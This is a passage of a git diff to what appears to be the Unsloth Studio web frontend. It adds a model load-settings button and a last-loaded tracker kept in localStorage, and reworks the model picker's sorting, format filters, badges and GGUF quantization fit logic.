+ * user can set load options, then click Load model. */
+export function ModelLoadSettingsAction({
+  ariaLabel,
+  repoId,
+  quant,
+  maxContext,
+}: {
+  ariaLabel: string;
+  repoId: string;
+  quant: string;
+  maxContext?: number | null;
+}) {
+  return (
+    <Tooltip delayDuration={0}>
+      <TooltipTrigger asChild={true}>
+        <button
+          type="button"
+          onClick={(e) => {
+            e.stopPropagation();
+            useChatRuntimeStore.getState().stageModel({
+              id: repoId,
+              ggufVariant: quant,
+              isDownloaded: true,
+              contextLength: maxContext ?? null,
+            });
+          }}
+          aria-label={ariaLabel}
+          className={cn(
+            "shrink-0 rounded-md p-1 text-muted-foreground/60 transition-colors hover:bg-muted hover:text-foreground",
+          )}
+        >
+          <HugeiconsIcon
+            icon={Settings02Icon}
+            strokeWidth={1.75}
+            className="size-3"
+          />
+        </button>
+      </TooltipTrigger>
+      <TooltipContent side="top" className="tooltip-compact">
+        Configure run settings before loading model
+      </TooltipContent>
+    </Tooltip>
+  );
+}
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-usage.ts b/studio/frontend/src/components/assistant-ui/model-selector/model-usage.ts
new file mode 100644
index 0000000000..dbcd4b9a1b
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/model-selector/model-usage.ts
@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Tracks when each model was last loaded so the "Recent" sort can order by usage
+// (distinct from "Downloaded", which orders by the file's download date). Kept in
+// localStorage; ids are lowercased to match how the picker compares them.
+
+import { useEffect, useState } from "react";
+
+export type ModelLoadTimes = Record<string, number>;
+
+const STORAGE_KEY = "unsloth.model-load-times.v1";
+
+function readLoadTimes(): ModelLoadTimes {
+  try {
+    const raw = localStorage.getItem(STORAGE_KEY);
+    return raw ? (JSON.parse(raw) as ModelLoadTimes) : {};
+  } catch {
+    return {};
+  }
+}
+
+/** Stamp a model as loaded now and return the updated map. */
+export function recordModelLoaded(id: string): ModelLoadTimes {
+  const next = { ...readLoadTimes(), [id.toLowerCase()]: Date.now() };
+  try {
+    localStorage.setItem(STORAGE_KEY, JSON.stringify(next));
+  } catch {
+    // ignore quota / disabled storage
+  }
+  return next;
+}
+
+/** Epoch ms the model was last loaded, or -1 if never. */
+export function loadedAt(times: ModelLoadTimes, id: string): number {
+  return times[id.toLowerCase()] ?? -1;
+}
+
+/** Load times, restamping whenever the active model changes. */
+export function useModelLoadTimes(currentValue?: string): ModelLoadTimes {
+  const [times, setTimes] = useState<ModelLoadTimes>(() => readLoadTimes());
+  useEffect(() => {
+    if (currentValue) setTimes(recordModelLoaded(currentValue));
+  }, [currentValue]);
+  return times;
+}
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
index c08619d611..46b6fe2e63 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
@@ -9,6 +9,7 @@ import {
   TooltipTrigger,
 } from "@/components/ui/tooltip";
 import { usePlatformStore } from "@/config/env";
+import { ApiProviderLogo } from "@/features/chat/api-provider-logo";
 import {
   type ScanFolderInfo,
   addScanFolder,
@@ -27,35 +28,83 @@ import type {
   CachedModelRepo,
   LocalModelInfo,
 } from "@/features/chat/api/chat-api";
+import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
 import type { GgufVariantDetail } from "@/features/chat/types/api";
+import { DotTag } from "@/features/hub/catalog/dot-tag";
 import {
-  useDebouncedValue,
-  useGpuInfo,
-  useHfModelSearch,
-  useInfiniteScroll,
-  useRecommendedModelVram,
-} from "@/hooks";
+  type HubOption,
+  HubOptionMenu,
+} from "@/features/hub/catalog/hub-option-menu";
+import { TrainIcon } from "@/features/hub/components/train-icon";
+import { useHubInfiniteScroll } from "@/features/hub/hooks/use-hub-infinite-scroll";
+import {
+  type HfModelResult,
+  type HfSortKey,
+  useHubModelSearch,
+} from "@/features/hub/hooks/use-hub-model-search";
+import { useOnlineStatus } from "@/features/hub/hooks/use-online-status";
+import { isHiddenModelId } from "@/features/hub/lib/hidden-models";
+import { classifyUnslothSupport } from "@/features/hub/lib/unsloth-support";
+import { useHfTokenStore } from "@/features/hub/stores/hf-token-store";
+import { useDebouncedValue, useGpuInfo } from "@/hooks";
 import { extractParamLabel } from "@/lib/model-size";
+import { toast } from "@/lib/toast";
 import { cn, formatCompact } from "@/lib/utils";
 import type { VramFitStatus } from "@/lib/vram";
 import { checkVramFit, estimateLoadingVram } from "@/lib/vram";
-import { Add01Icon, Cancel01Icon, Download01Icon, Folder02Icon, Search01Icon, StarIcon } from "@hugeicons/core-free-icons";
+import {
+  Add01Icon,
+  AudioWave01Icon,
+  Cancel01Icon,
+  DashboardCircleIcon,
+  Download01Icon,
+  Flag01Icon,
+  Folder02Icon,
+  RemoveCircleIcon,
+  Search01Icon,
+  ViewIcon,
+} from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { FolderBrowser } from "./folder-browser";
-import { ModelDeleteAction } from "./model-delete-action";
 import { ChevronDownIcon, ChevronRightIcon } from "lucide-react";
 import {
+  type Dispatch,
   type KeyboardEvent,
   type ReactNode,
+  type SetStateAction,
   useCallback,
   useEffect,
   useId,
   useMemo,
+  useRef,
   useState,
 } from "react";
-import { toast } from "@/lib/toast";
+import { FolderBrowser } from "./folder-browser";
+import {
+  type ModelCapabilities,
+  detectCapabilities,
+  hasAnyCapability,
+} from "./model-capabilities";
+import { ModelDeleteAction } from "./model-delete-action";
+import { ModelLoadSettingsAction } from "./model-load-settings-action";
+import {
+  type ModelLoadTimes,
+  loadedAt,
+  useModelLoadTimes,
+} from "./model-usage";
+import {
+  type FormatFilter,
+  estimateQuantBytes,
+  fitsDevice,
+  isMlxId,
+  isMobileVariant,
+  isRecommendableFormat,
+  matchesFormatFilter,
+  paramsFromId,
+} from "./recommended-fit";
+import { parseMetaTokens, splitRepoLabel } from "./row-meta";
 import type {
   DeletedModelRef,
+  ExternalModelOption,
   LoraModelOption,
   ModelOption,
   ModelSelectorChangeMeta,
@@ -65,17 +114,9 @@ function dedupe(values: string[]): string[] {
   return [...new Set(values.filter(Boolean))];
 }
 
-/** Newest-first by `last_modified` (epoch s), repo_id tie-break. Copies the
- * input; treats a missing field as oldest for older-backend compatibility. */
-function sortByDownloadRecency<T extends { repo_id: string; last_modified?: number }>(
-  rows: T[],
-): T[] {
-  return [...rows].sort((a, b) => {
-    const at = a.last_modified ?? -1;
-    const bt = b.last_modified ?? -1;
-    if (at !== bt) return bt - at;
-    return a.repo_id.localeCompare(b.repo_id);
-  });
+/** Repos published by Unsloth; the rest group under the "Other models" section. */
+function isUnslothRepoId(repoId: string): boolean {
+  return repoId.toLowerCase().startsWith("unsloth/");
 }
 
 /** Lowercase and strip separators for fuzzy search. */
@@ -92,7 +133,9 @@ function makeModelOptionChildrenId(optionKey: string): string {
 }
 
 function focusFirstChildOption(optionKey: string): boolean {
-  const childList = document.getElementById(makeModelOptionChildrenId(optionKey));
+  const childList = document.getElementById(
+    makeModelOptionChildrenId(optionKey),
+  );
   const option = childList?.querySelector<HTMLElement>(
     "[data-model-picker-option]",
   );
@@ -240,31 +283,49 @@ function useRovingModelList({
 function ListLabel({
   children,
   icon,
+  action,
   collapsed,
   onToggle,
+  divider,
 }: {
   children: ReactNode;
   icon?: ReactNode;
+  action?: ReactNode;
   collapsed?: boolean;
   onToggle?: () => void;
+  /** Draw a divider line above, evenly spaced, to separate it from the section
+   *  above (omit on the first section). */
+  divider?: boolean;
 }) {
   return (
-    <div className="flex items-center justify-between gap-1 px-2.5 py-1.5">
+    <div
+      className={cn(
+        "flex items-center justify-between gap-1 px-2.5 pb-1",
+        divider ? "mt-3 border-t border-border/50 pt-3" : "pt-3",
+      )}
+    >
       <span className="flex items-center gap-1.5 text-[10px] font-semibold uppercase tracking-wider text-muted-foreground">
         {icon}
         {children}
       </span>
-      {onToggle && (
-        <button
-          type="button"
-          onClick={onToggle}
-          aria-label={collapsed ? "Expand section" : "Collapse section"}
-          className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
-        >
-          {collapsed
-            ? <ChevronRightIcon className="size-3" />
-            : <ChevronDownIcon className="size-3" />}
-        </button>
+      {(action || onToggle) && (
+        <div className="flex items-center gap-0.5">
+          {action}
+          {onToggle && (
+            <button
+              type="button"
+              onClick={onToggle}
+              aria-label={collapsed ? "Expand section" : "Collapse section"}
+              className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
+            >
+              {collapsed ? (
+                <ChevronRightIcon className="size-3" />
+              ) : (
+                <ChevronDownIcon className="size-3" />
+              )}
+            </button>
+          )}
+        </div>
       )}
     </div>
   );
@@ -291,6 +352,29 @@ function formatBytes(bytes: number): string {
   return `${value.toFixed(value < 10 ? 1 : 0)} ${units[i]}`;
 }
 
+// Small icon badges for what a model can do (vision / reasoning / audio).
+// Vision and reasoning badges were dropped to keep rows uncluttered.
+const CAPABILITY_BADGES = [
+  { key: "audio" as const, icon: AudioWave01Icon, title: "Audio" },
+];
+
+function CapabilityIcons({ caps }: { caps: ModelCapabilities }) {
+  return (
+    <>
+      {CAPABILITY_BADGES.filter((b) => caps[b.key]).map((b) => (
+        <span
+          key={b.key}
+          title={b.title}
+          aria-label={b.title}
+          className="flex size-[18px] shrink-0 items-center justify-center rounded-md border border-border/60 text-muted-foreground"
+        >
+          <HugeiconsIcon icon={b.icon} className="size-3" strokeWidth={1.8} />
+        </span>
+      ))}
+    </>
+  );
+}
+
 function ModelRow({
   label,
   meta,
@@ -302,6 +386,11 @@ function ModelRow({
   tooltipText,
   optionProps,
   onArrowDownIntoChildren,
+  capabilities,
+  hideOwner,
+  downloaded,
+  showVision,
+  className,
 }: {
   label: string;
   meta?: string | null;
@@ -313,6 +402,15 @@ function ModelRow({
   tooltipText?: ReactNode;
   optionProps?: ModelRowOptionProps;
   onArrowDownIntoChildren?: () => boolean;
+  /** Capability override (HF rows have tags); falls back to name detection. */
+  capabilities?: ModelCapabilities;
+  /** Hide the "owner/" prefix (e.g. Recommended, where all are unsloth). */
+  hideOwner?: boolean;
+  /** Mark a row already on disk (shown in Recommended instead of being hidden). */
+  downloaded?: boolean;
+  /** Show a Vision badge on the name (On Device, read from GGUF metadata). */
+  showVision?: boolean;
+  className?: string;
 }) {
   const exceeds = vramStatus === "exceeds";
   const showVramTooltip =
@@ -326,6 +424,14 @@ function ModelRow({
           : `~${vramEst}GB VRAM`
       : null;
 
+  const { owner, name } = splitRepoLabel(label);
+  const parsed = parseMetaTokens(meta);
+  // Param chip from meta, else derived from the name so GGUF rows show it too.
+  const paramLabel = parsed.param ?? extractParamLabel(name) ?? null;
+  // Use the passed-in capabilities (tag-aware) or infer from the repo name.
+  const caps = capabilities ?? detectCapabilities({ id: label });
+  const showCaps = hasAnyCapability(caps);
+
   const content = (
     <button
       type="button"
@@ -339,28 +445,94 @@ function ModelRow({
       }}
       onClick={onClick}
       className={cn(
-        "flex w-full items-center gap-2 rounded-full px-3 py-1.5 text-left text-sm transition-colors hover:bg-[#ececec] focus-visible:bg-[#ececec] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring/45 dark:hover:bg-[#3a3d44] dark:focus-visible:bg-[#3a3d44]",
-        selected && "bg-[#ececec] dark:bg-[#3a3d44]",
+        "flex w-full items-center gap-2 rounded-full px-2 py-1.5 text-left text-sm transition-colors hover:bg-[#ececec] focus-visible:bg-[#ececec] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring/45 dark:hover:bg-[var(--sidebar-accent)] dark:focus-visible:bg-[var(--sidebar-accent)]",
+        selected && "bg-[#ececec] dark:bg-[var(--sidebar-accent)]",
+        className,
       )}
     >
-      <span
-        className={cn(
-          "block min-w-0 flex-1 truncate",
-          exceeds && "!text-gray-500 dark:!text-gray-400",
-        )}
-      >
-        {label}
+      <span className="flex min-w-0 flex-1 items-baseline">
+        {owner && !hideOwner ? (
+          <span className="inline-flex min-w-0 max-w-[45%] shrink items-baseline text-[13px] text-muted-foreground/90">
+            <span className="truncate">{owner}</span>
+            <span className="shrink-0 text-muted-foreground/45">/</span>
+          </span>
+        ) : null}
+        <span className="min-w-0 flex-1 truncate">{name}</span>
       </span>
-      <span className="ml-auto flex items-center gap-1.5 shrink-0">
+      <span className="ml-auto flex shrink-0 items-center gap-1.5">
+        {showCaps && <CapabilityIcons caps={caps} />}
+        {showVision && (
+          <Tooltip delayDuration={0}>
+            <TooltipTrigger asChild={true}>
+              <span
+                aria-label="Vision"
+                className="flex h-[18px] shrink-0 items-center justify-center rounded-md border border-border/60 px-1.5 text-indigo-700 dark:text-indigo-300"
+              >
+                <HugeiconsIcon
+                  icon={ViewIcon}
+                  className="size-3"
+                  strokeWidth={1.8}
+                />
+              </span>
+            </TooltipTrigger>
+            <TooltipContent side="top" className="tooltip-compact">
+              This model can process image inputs
+            </TooltipContent>
+          </Tooltip>
+        )}
+        {selected && (
+          <DotTag
+            tone="success"
+            label="Loaded"
+            className="h-[18px] gap-1 rounded-md px-1.5"
+            dotClassName="size-[5px]"
+          />
+        )}
+        {downloaded && !selected && (
+          <span
+            title="Already downloaded"
+            aria-label="Already downloaded"
+            className="flex h-[18px] shrink-0 items-center justify-center rounded-md border border-border/60 px-1.5 text-muted-foreground"
+          >
+            <HugeiconsIcon
+              icon={Download01Icon}
+              className="size-3"
+              strokeWidth={1.8}
+            />
+          </span>
+        )}
         {vramStatus === "exceeds" && (
-          <span className="text-[9px] font-medium !text-red-700 !bg-red-50 dark:!text-red-400 dark:!bg-red-950 px-1.5 py-0.5 rounded">OOM</span>
+          <span className="text-[9px] font-medium !text-red-700 !bg-red-50 dark:!text-red-300 dark:!bg-red-500/15 px-1.5 py-0.5 rounded">
+            OOM
+          </span>
         )}
         {vramStatus === "tight" && (
           <span className="text-[9px] font-medium !text-amber-400">TIGHT</span>
         )}
-        {meta ? (
-          <span className="text-[10px] text-muted-foreground">{meta}</span>
+        {paramLabel ? (
+          <span className="rounded-md border border-border/60 px-1.5 py-px text-[10px] font-medium text-muted-foreground tabular-nums">
+            {paramLabel}
+          </span>
         ) : null}
+        {parsed.texts.map((text) => (
+          <span key={text} className="text-[10px] text-muted-foreground">
+            {text}
+          </span>
+        ))}
+        {parsed.size !== undefined ? (
+          <span className="text-[10px] text-muted-foreground tabular-nums">
+            {parsed.size}
+          </span>
+        ) : null}
+        {parsed.formats.map((f) => (
+          <DotTag
+            key={f.label}
+            tone={f.tone}
+            label={f.label}
+            className="h-[18px] gap-[3px] rounded-md px-1.5"
+            dotClassName="size-[5px]"
+          />
+        ))}
       </span>
     </button>
   );
@@ -412,6 +584,8 @@ function GgufVariantExpander({
   renderDeleteVariantDescription,
   getDeleteVariantSuccessMessage,
   deleteDisabled = false,
+  onDevice = false,
+  onHasVision,
 }: {
   repoId: string;
   onSelect: (id: string, meta: ModelSelectorChangeMeta) => void;
@@ -426,10 +600,17 @@ function GgufVariantExpander({
   renderDeleteVariantDescription?: (quant: string) => ReactNode;
   getDeleteVariantSuccessMessage?: (quant: string) => string;
   deleteDisabled?: boolean;
+  /** On Device rows honor the Show all quantizations setting; Recommended and
+   *  other browse lists always show every quant. */
+  onDevice?: boolean;
+  /** Report GGUF vision support up so the parent row can badge it. */
+  onHasVision?: (hasVision: boolean) => void;
 }) {
   const [variants, setVariants] = useState<GgufVariantDetail[] | null>(null);
   const [defaultVariant, setDefaultVariant] = useState<string | null>(null);
   const [hasVision, setHasVision] = useState(false);
+  // Native max context (GGUF metadata); only set once a variant is downloaded.
+  const [nativeContext, setNativeContext] = useState<number | null>(null);
   const [loading, setLoading] = useState(true);
   const [error, setError] = useState<string | null>(null);
 
@@ -444,6 +625,8 @@ function GgufVariantExpander({
         setVariants(res.variants);
         setDefaultVariant(res.default_variant);
         setHasVision(res.has_vision);
+        onHasVision?.(res.has_vision);
+        setNativeContext(res.context_length ?? null);
       })
       .catch((err) => {
         if (canceled) return;
@@ -467,15 +650,22 @@ function GgufVariantExpander({
 
   const handleVariantClick = useCallback(
     (quant: string, downloaded?: boolean, sizeBytes?: number) => {
+      // Only seed the staged context for picks whose weights are already on
+      // disk. The staging effect short-circuits on a known contextLength
+      // (pendingHasContext) before starting the download, so attaching it to an
+      // undownloaded quant from a partially cached repo would skip the download
+      // entirely (and, with Load on selection, never load).
+      const isAvailable = isLocalPath || downloaded === true;
       onSelect(repoId, {
         source: sourceOverride ?? (isLocalPath ? "local" : "hub"),
         isLora: false,
         ggufVariant: quant,
         isDownloaded: isLocalPath ? true : downloaded,
         expectedBytes: sizeBytes,
+        contextLength: isAvailable ? nativeContext : undefined,
       });
     },
-    [repoId, isLocalPath, onSelect, sourceOverride],
+    [repoId, isLocalPath, onSelect, sourceOverride, nativeContext],
   );
 
   // GGUF fit classification matching llama-server's _select_gpus logic:
@@ -487,19 +677,24 @@ function GgufVariantExpander({
 
   const getGgufFit = useCallback(
     (sizeBytes: number): "fits" | "tight" | "oom" => {
-      if (!gpuGb || gpuGb <= 0) return "fits";
+      // No device budget at all (no GPU and no known system RAM): can't
+      // classify, so don't scare the user with OOM badges.
+      if (totalBudgetGb <= 0) return "fits";
       const gb = sizeBytes / 1024 ** 3;
       if (gb <= 0 || gb <= gpuBudgetGb) return "fits";
+      // No-GPU / unified-memory hosts (Mac) have only the RAM budget, so the
+      // tier collapses to fit-or-oom against system RAM rather than GPU+offload.
+      if (gpuBudgetGb <= 0) return gb <= totalBudgetGb ? "fits" : "oom";
       if (gb <= totalBudgetGb) return "tight";
       return "oom";
     },
-    [gpuGb, gpuBudgetGb, totalBudgetGb],
+    [gpuBudgetGb, totalBudgetGb],
   );
 
   // If the recommended variant is OOM, pick the largest fitting one;
   // if all are OOM, recommend the smallest.
   const effectiveRecommended = useMemo(() => {
-    if (!variants || !gpuGb || gpuGb <= 0) return defaultVariant;
+    if (!variants || totalBudgetGb <= 0) return defaultVariant;
     const defaultV = variants.find((v) => v.quant === defaultVariant);
     if (defaultV && getGgufFit(defaultV.size_bytes) !== "oom")
       return defaultVariant;
@@ -512,7 +707,7 @@ function GgufVariantExpander({
     // All OOM -- recommend smallest (most likely to partially run)
     const sorted = [...variants].sort((a, b) => a.size_bytes - b.size_bytes);
     return sorted[0].quant;
-  }, [variants, defaultVariant, gpuGb, getGgufFit]);
+  }, [variants, defaultVariant, totalBudgetGb, getGgufFit]);
 
   const sortedVariants = useMemo(() => {
     if (!variants) return variants;
@@ -542,12 +737,24 @@ function GgufVariantExpander({
     });
   }, [variants, effectiveRecommended, getGgufFit]);
 
+  // On Device only: when Show all quantizations is off, list quants already on
+  // disk. Recommended and other browse lists always show every quant.
+  const showAllQuantizations = useChatRuntimeStore(
+    (s) => s.showAllQuantizations,
+  );
+  const displayVariants = useMemo(() => {
+    if (!sortedVariants) return sortedVariants;
+    return showAllQuantizations || !onDevice
+      ? sortedVariants
+      : sortedVariants.filter((v) => v.downloaded);
+  }, [sortedVariants, showAllQuantizations, onDevice]);
+
   const variantOptionKeys = useMemo(
     () =>
-      (sortedVariants ?? []).map((variant) =>
+      (displayVariants ?? []).map((variant) =>
         makeModelOptionKey("gguf-variant", `${repoId}:${variant.filename}`),
       ),
-    [repoId, sortedVariants],
+    [repoId, displayVariants],
   );
   const variantList = useRovingModelList({
     label: `${repoId} quantizations`,
@@ -569,7 +776,7 @@ function GgufVariantExpander({
     return <div className="px-5 py-2 text-xs text-destructive">{error}</div>;
   }
 
-  if (!sortedVariants || sortedVariants.length === 0) {
+  if (!displayVariants || displayVariants.length === 0) {
     return (
       <div className="px-5 py-2 text-xs text-muted-foreground">
         No GGUF variants found.
@@ -587,15 +794,26 @@ function GgufVariantExpander({
       }
       className="pl-4 border-l-2 border-accent/50 ml-3 my-1"
     >
-      <div className="px-2 py-1 flex items-center gap-1.5">
-        <span className="text-[10px] font-semibold uppercase tracking-wider text-muted-foreground">
-          Quantizations
-        </span>
-        {hasVision && (
-          <span className="text-[9px] font-medium text-blue-400">Vision</span>
-        )}
-      </div>
-      {sortedVariants.map((v) => {
+      {/* On Device shows the model name above, so the Quantizations heading is
+          redundant; its Vision badge is relayed to the name instead. */}
+      {!onDevice && (
+        <div className="px-2 py-1 flex items-center gap-1.5">
+          <span className="text-[10px] font-semibold uppercase tracking-wider text-muted-foreground">
+            Quantizations
+          </span>
+          {hasVision && (
+            <span className="flex items-center gap-0.5 text-[9px] font-medium text-indigo-700 dark:text-indigo-300">
+              <HugeiconsIcon
+                icon={ViewIcon}
+                className="size-3"
+                strokeWidth={1.8}
+              />
+              Vision
+            </span>
+          )}
+        </div>
+      )}
+      {displayVariants.map((v) => {
         const fit = getGgufFit(v.size_bytes);
         const oom = fit === "oom";
         const tight = fit === "tight";
@@ -610,11 +828,15 @@ function GgufVariantExpander({
                 handleVariantClick(v.quant, v.downloaded, v.size_bytes)
               }
               className={cn(
-                "flex min-w-0 flex-1 items-center justify-between gap-2 rounded-full px-3 py-1 text-left text-sm transition-colors hover:bg-[#ececec] focus-visible:bg-[#ececec] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring/45 dark:hover:bg-[#3a3d44] dark:focus-visible:bg-[#3a3d44]",
+                "flex min-w-0 flex-1 items-center justify-between gap-2 rounded-full px-2 py-1 text-left text-sm transition-colors hover:bg-[#ececec] focus-visible:bg-[#ececec] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring/45 dark:hover:bg-[var(--sidebar-accent)] dark:focus-visible:bg-[var(--sidebar-accent)]",
               )}
             >
               <span className="min-w-0 flex-1 truncate font-mono text-xs">
-                <span className={cn(oom && "!text-gray-500 dark:!text-gray-400")}>{v.quant}</span>
+                <span
+                  className={cn(oom && "!text-gray-500 dark:!text-gray-400")}
+                >
+                  {v.quant}
+                </span>
                 {v.downloaded ? (
                   <span className="ml-1.5 text-[9px] font-sans font-medium text-green-400">
                     downloaded
@@ -627,7 +849,7 @@ function GgufVariantExpander({
               </span>
               <span className="flex items-center gap-1.5 shrink-0">
                 {oom && (
-                  <span className="text-[9px] font-medium !text-red-700 !bg-red-50 dark:!text-red-400 dark:!bg-red-950 px-1.5 py-0.5 rounded">
+                  <span className="text-[9px] font-medium !text-red-700 !bg-red-50 dark:!text-red-300 dark:!bg-red-500/15 px-1.5 py-0.5 rounded">
                     OOM
                   </span>
                 )}
@@ -641,6 +863,14 @@ function GgufVariantExpander({
                 </span>
               </span>
             </button>
+            {v.downloaded && (
+              <ModelLoadSettingsAction
+                ariaLabel={`Inference settings for ${repoId} ${v.quant}`}
+                repoId={repoId}
+                quant={v.quant}
+                maxContext={nativeContext}
+              />
+            )}
             {v.downloaded && onDeleteVariant && (
               <ModelDeleteAction
                 ariaLabel={`Delete ${repoId} ${v.quant}`}
@@ -687,9 +917,23 @@ function isGgufRepo(id: string, hintedIsGguf?: boolean): boolean {
 let _cachedGgufCache: CachedGgufRepo[] = [];
 let _cachedModelsCache: CachedModelRepo[] = [];
 let _lmStudioCache: LocalModelInfo[] = [];
+let _localDirCache: LocalModelInfo[] = [];
 let _customFolderCache: LocalModelInfo[] = [];
 let _scanFoldersCache: ScanFolderInfo[] = [];
 
+/** True when any on-device model (downloaded GGUF, cached repo, LM Studio, or
+ * custom-folder model) is known. Reads the module caches, which persist across
+ * popover mounts, so the selector can default to the On Device tab. */
+export function hasDownloadedModels(): boolean {
+  return (
+    _cachedGgufCache.length > 0 ||
+    _cachedModelsCache.length > 0 ||
+    _lmStudioCache.length > 0 ||
+    _localDirCache.length > 0 ||
+    _customFolderCache.length > 0
+  );
+}
+
 /** Sort LM Studio models with unsloth publisher first. */
 function sortLmStudio(models: LocalModelInfo[]): LocalModelInfo[] {
   return [...models].sort((a, b) => {
@@ -711,22 +955,213 @@ function canDeleteLoraModel(model: LoraModelOption): boolean {
 
 // ── Hub Model Picker ──────────────────────────────────────────
 
+// Recommended section sort. "recommended" = newly created unsloth GGUF/MLX that
+// fit the device; the rest are plain HF sort keys over all unsloth models.
+type RecommendedSortKey = "recommended" | "trendingScore" | "lastModified";
+
+const RECOMMENDED_SORT_OPTIONS: HubOption<RecommendedSortKey>[] = [
+  { value: "recommended", label: "Recommended" },
+  { value: "trendingScore", label: "Trending" },
+  { value: "lastModified", label: "Recent" },
+];
+
+// Sort for the On Device / Custom (local) lists. "recent" = last loaded;
+// "downloaded" = file download date.
+type LocalSortKey = "recent" | "downloaded" | "size" | "name";
+
+const LOCAL_SORT_OPTIONS: HubOption<LocalSortKey>[] = [
+  { value: "recent", label: "Recent" },
+  { value: "size", label: "Size" },
+  { value: "name", label: "Name" },
+  { value: "downloaded", label: "Downloaded" },
+];
+
+// Format filter dropdown for the Unsloth listing. Plain labels are reused in
+// the empty-state copy below.
+const FORMAT_FILTER_LABELS: Record<FormatFilter, string> = {
+  all: "All",
+  gguf: "GGUF",
+  mlx: "MLX",
+  safetensors: "Safetensors",
+};
+
+// Dot colors match the row format tags: gguf blue, mlx amber, safetensors pink.
+const FORMAT_FILTER_DOTS: Partial<Record<FormatFilter, string>> = {
+  gguf: "bg-format-gguf",
+  mlx: "bg-format-mlx",
+  safetensors: "bg-format-checkpoint",
+};
+
+const FORMAT_FILTER_OPTIONS: HubOption<FormatFilter>[] = (
+  Object.keys(FORMAT_FILTER_LABELS) as FormatFilter[]
+).map((value) => {
+  const dot = FORMAT_FILTER_DOTS[value];
+  return {
+    value,
+    label: dot ? (
+      <span className="flex items-center gap-2">
+        <span
+          className={cn("inline-block size-1.5 shrink-0 rounded-full", dot)}
+        />
+        {FORMAT_FILTER_LABELS[value]}
+      </span>
+    ) : (
+      FORMAT_FILTER_LABELS[value]
+    ),
+  };
+});
+
+/** Sort cached repos: by last-loaded, download date, size desc, or name. */
+function sortCachedRepos<
+  T extends { repo_id: string; size_bytes: number; last_modified?: number },
+>(rows: T[], key: LocalSortKey, loadTimes: ModelLoadTimes): T[] {
+  const byDate = (a: T, b: T) =>
+    (b.last_modified ?? -1) - (a.last_modified ?? -1) ||
+    a.repo_id.localeCompare(b.repo_id);
+  return [...rows].sort((a, b) => {
+    if (key === "name") return a.repo_id.localeCompare(b.repo_id);
+    if (key === "size") {
+      return b.size_bytes - a.size_bytes || a.repo_id.localeCompare(b.repo_id);
+    }
+    if (key === "recent") {
+      const d = loadedAt(loadTimes, b.repo_id) - loadedAt(loadTimes, a.repo_id);
+      return d !== 0 ? d : byDate(a, b);
+    }
+    return byDate(a, b); // "downloaded"
+  });
+}
+
+/** Sort local-provider models. They carry no size, so "size" falls back to name. */
+function sortLocalModels(
+  rows: LocalModelInfo[],
+  key: LocalSortKey,
+  loadTimes: ModelLoadTimes,
+): LocalModelInfo[] {
+  const name = (m: LocalModelInfo) => m.model_id ?? m.display_name ?? m.id;
+  const byDate = (a: LocalModelInfo, b: LocalModelInfo) =>
+    (b.updated_at ?? -1) - (a.updated_at ?? -1) ||
+    name(a).localeCompare(name(b));
+  return [...rows].sort((a, b) => {
+    if (key === "recent") {
+      const d = loadedAt(loadTimes, a.id) - loadedAt(loadTimes, b.id);
+      return d !== 0 ? -d : byDate(a, b);
+    }
+    if (key === "downloaded") return byDate(a, b);
+    return name(a).localeCompare(name(b)); // "size" (no size) and "name"
+  });
+}
+
+/** GGUF detection for a local model by backend format hint, name, or file path. */
+function localModelIsGguf(m: LocalModelInfo): boolean {
+  return (
+    m.model_format === "gguf" ||
+    isGgufRepo(m.id) ||
+    isGgufRepo(m.display_name) ||
+    m.path.toLowerCase().endsWith(".gguf")
+  );
+}
+
+/** Whether a local model is an MLX build (name hint). MLX runs on Mac only, so
+ * callers gate visibility on the host being a Mac. */
+function localModelIsMlx(m: LocalModelInfo): boolean {
+  return (
+    isMlxId(m.id) || isMlxId(m.display_name) || isMlxId(m.model_id ?? "")
+  );
+}
+
+/** Whether a local model matches the format toggle (GGUF detected by name/path). */
+function localModelMatchesFormat(
+  m: LocalModelInfo,
+  filter: FormatFilter,
+): boolean {
+  return matchesFormatFilter(
+    m.model_id ?? m.display_name ?? m.id,
+    localModelIsGguf(m),
+    filter,
+  );
+}
+
 export function HubModelPicker({
   models,
+  loraModels = [],
+  externalModels = [],
   value,
   onSelect,
   onFoldersChange,
+  onBrowseHub,
+  onModelsChange,
+  deleteDisabled = false,
+  section = "downloaded",
+  sectionToggle,
+  onEject,
 }: {
   models: ModelOption[];
+  /** Fine-tuned models, shown as a section in the On Device view. */
+  loraModels?: LoraModelOption[];
+  /** Connected provider models, shown in the Connected section. */
+  externalModels?: ExternalModelOption[];
   value?: string;
   onSelect: (id: string, meta: ModelSelectorChangeMeta) => void;
   onFoldersChange?: () => void;
+  /** Open the full Hub page to browse more models. */
+  onBrowseHub?: () => void;
+  onModelsChange?: (deletedModel?: DeletedModelRef) => void;
+  deleteDisabled?: boolean;
+  /** Section shown when not searching. Search spans all sections. */
+  section?: "downloaded" | "recommended" | "custom" | "connected";
+  /** Section toggle rendered under the search bar. */
+  sectionToggle?: ReactNode;
+  /** Eject the loaded model. Rendered as the last list row when set. */
+  onEject?: () => void;
 }) {
   const gpu = useGpuInfo();
+  // Last-loaded timestamps power the "Recent" sort (vs "Downloaded" = file date).
+  const loadTimes = useModelLoadTimes(value);
+  // Fade the list's top edge once scrolled, and its bottom edge while more
+  // rows sit below the fold.
+  const [listScrolled, setListScrolled] = useState(false);
+  const [listMoreBelow, setListMoreBelow] = useState(false);
   const [query, setQuery] = useState("");
   const debouncedQuery = useDebouncedValue(query);
-  const { results, isLoading, isLoadingMore, fetchMore } =
-    useHfModelSearch(debouncedQuery);
